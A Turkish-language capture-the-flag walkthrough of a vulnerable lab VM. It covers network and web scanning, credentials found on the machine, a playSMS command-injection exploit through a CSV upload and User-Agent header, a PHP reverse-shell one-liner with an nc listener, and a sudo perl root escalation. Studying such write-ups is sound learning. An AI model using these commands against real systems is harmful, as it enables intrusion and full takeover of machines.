Goal: /root/flag.txt
Açıklamada yazıldığı üzere root dizini altındaki flag.txt dosyasına erişmemiz isteniyor.
O zaman zafiyetli makinamızın ip adresini bulalım.
Bu işlem için netdiscover aracını kullanacağız.
Bu işlem için netdiscover aracını kullanacağız.
netdiscover -i eth0 -r 192.168.1.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
7 Captured ARP Req/Rep packets, from 4 hosts. Total size: 420
___________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.1.41 00:0c:29:41:82:7d 2 120 VMware, Inc.
192.168.1.1 4c:9e:ff:xx:xx:xx 3 180 Zyxel Communications Corpora
Hedef ip üzerinde bilgi edinmek, çalışan servislere göz atmak için nmap taraması yapalım.
nmap -sSV -n -v 192.168.1.41 --open
Starting Nmap 7.40 ( https://nmap.org ) at 2018-03-03 23:47 +03
NSE: Loaded 40 scripts for scanning.
Initiating ARP Ping Scan at 23:47
Scanning 192.168.1.41 [1 port]
Completed ARP Ping Scan at 23:47, 0.03s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 23:47
Scanning 192.168.1.41 [1000 ports]
Discovered open port 80/tcp on 192.168.1.41
Completed SYN Stealth Scan at 23:47, 0.10s elapsed (1000 total ports)
Initiating Service scan at 23:47
Scanning 1 service on 192.168.1.41
Completed Service scan at 23:47, 6.07s elapsed (1 service on 1 host)
NSE: Script scanning 192.168.1.41.
Initiating NSE at 23:47
Completed NSE at 23:47, 0.00s elapsed
Initiating NSE at 23:47
Completed NSE at 23:47, 0.00s elapsed
Nmap scan report for 192.168.1.41
Host is up (0.000089s latency).
Not shown: 999 closed ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
MAC Address: 00:0C:29:41:82:7D (VMware)
80. porttan yayın yaptığını görüyoruz. Tarayıcıdan girip göz atalım.
Web uygulaması olduğu için Nikto ile zafiyet taraması yapalım.
nikto -h http://192.168.1.41/
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.41
+ Target Hostname: 192.168.1.41
+ Target Port: 80
+ Start Time: 2018-03-03 23:53:32 (GMT3)
---------------------------------------------------------------------------
+ Server: Apache/2.2.22 (Ubuntu)
+ Server leaks inodes via ETags, header found with file /, inode: 425463, size: 3618, mtime: Tue Oct 17 16:46:52 2017
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-3268: /ange1/: Directory indexing found.
+ Entry '/ange1/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /angel1/: Directory indexing found.
+ Entry '/angel1/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /tmp/: Directory indexing found.
+ Entry '/tmp/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /uploads/: Directory indexing found.
+ Entry '/uploads/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 5 entries which should be manually viewed.
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3268: /secure/: Directory indexing found.
+ OSVDB-3092: /tmp/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 8351 requests: 0 error(s) and 20 item(s) reported on remote host
+ End Time: 2018-03-03 23:54:00 (GMT3) (28 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Dirb aracı ile de dizinlere bakalım.
dirb http://192.168.1.41/
Bulduğumuz dizinleri incelemeye robots.txt ile başlayalım.
---- Scanning URL: http://192.168.1.41/ ----
+ http://192.168.1.41/cgi-bin/ (CODE:403|SIZE:288)
+ http://192.168.1.41/index (CODE:200|SIZE:3618)
+ http://192.168.1.41/index.html (CODE:200|SIZE:3618)
+ http://192.168.1.41/robots (CODE:200|SIZE:102)
+ http://192.168.1.41/robots.txt (CODE:200|SIZE:102)
==> DIRECTORY: http://192.168.1.41/secure/
+ http://192.168.1.41/server-status (CODE:403|SIZE:293)
==> DIRECTORY: http://192.168.1.41/tmp/
==> DIRECTORY: http://192.168.1.41/uploads/
---- Entering directory: http://192.168.1.41/secure/ ----
nothing dizinini incelediğimizde sayfanın kaynak kodunda işimize yarar bilgiler buluyoruz.
Bu bilgileri bir yere not olarak bulduğumuz diğer dizinleri incelemeye devam edelim.
Dizinlere bakmaya secure ile devam ettiğimizde içinde secure backup.zip adlı dosyayı görüyoruz.
Zipten çıkarmaya çalıştığımızda bizden parola istiyor.
Az önce nothing dizininde bulduğumuz bilgileri deneyerek zipten çıkarıyoruz. parola:freedom
Zipten backup-cred.mp3 adlı bir dosya çıkıyor.
File komutu ile incelediğimizde bir text dosyası olduğunu görüyoruz.
( Linux'da dosya uzantılarının bir önemi yok ) cat ile dosyamızı okuyalım.
I am not toooo smart in computer .......dat the resoan i always choose easy password...with creds backup file....
uname: touhid
password: ******
url : /SecreTSMSgatwayLogin
Dosyayı okuduğumuzda bir dizin yoluna rastlıyoruz.
Giriş yapmaya çalıştığımızda username ve password istiyor.
username olarak touhid, parola olarakta nothing dizinindeki elde ettiğimiz bilgileri deniyoruz.
parola:diana olarak giriş yapıyoruz.
Giriş yapmaya çalıştığımızda username ve password istiyor.
username olarak touhid, parola olarakta nothing dizinindeki elde ettiğimiz bilgileri deniyoruz.
parola:diana olarak giriş yapıyoruz.
playSMS adlı bir web uygulaması ile karşılaşıyoruz.
Araştırmalarımız sonucunda komut çalıştırma zafiyetinin bulunduğunu görüyoruz.
Araştırmalarımız sonucunda komut çalıştırma zafiyetinin bulunduğunu görüyoruz.
https://www.exploit-db.com/exploits/42044/
Karşımıza çıkan panelde My Account sekmesinin altında Phonebook üzerinden dosya upload işlemi gerçekleştiriyoruz.
import.php dosyasında .csv uzantılı dosyaya payload’ı yazıp upload ediyoruz. Ardından user agent değerini çalıştıracağımız kod ile değiştiriyoruz.
( Firefox üzerinde User-Agent switcher extensiondan yardım alarak yaptık )
( Firefox üzerinde User-Agent switcher extensiondan yardım alarak yaptık )
Buraya atılan dosyanın formatı aşağıdaki gibi. Bu kısmın anlaşılması için yukardaki exploit-db linkinden detaylıca bakılması gerekiyor.
User agent kısmını “uname -a” komutu ile değiştiriyoruz.
Değişikliğin ardından test.csv dosyasını import ettiğimizde kod çalışıyor olacak.
Komutun çalıştığını görüyoruz. Şimdi yapamamız gerek reverse bağlantı yapıp oturum elde etmek.
Bunun için alltaki payloadı kullanıyoruz.
Bunun için alltaki payloadı kullanıyoruz.
php -r '$sock=fsockopen("192.168.1.41",4444);exec("/bin/sh -i <&3 >&3 2>&3");'v
Bu komut ile 192.168.1.41 adresinin 4444. portuna bağlan, /bin/sh üzerinden bağlantı alabiliyoruz.
Kendi cihazımızda ise dinleme duruma geçmemiz gerekiyor.
nc -lvp 4444 komutu ile 4444. porta gelen bağlanma isteklerini dinliyoruz.
www-data kullanıcı ile giriş yaptık. Okumamız gereken dosya /root dizini altında.
Bu dizine erişebilmemiz için ya root haklarına sahip olmamız gerekiyor ya da root haklarına sahip bir kullanıcıya erişmemiz gerekiyor.
Bu dizine erişebilmemiz için ya root haklarına sahip olmamız gerekiyor ya da root haklarına sahip bir kullanıcıya erişmemiz gerekiyor.
sudo -l komutu ile /etc/sudoers dosyasındaki yetkilendirilmiş kullanıcıları görüntülüyoruz.
Perl kullanıcısı parolasız olarak root yetkisi ile çalıştığını görüyoruz.
sudo perl -e ‘exec “cat /root/flag.txt”;’ komutu ile de root dizini altındaki flag dosyamıza erişebiliyoruz.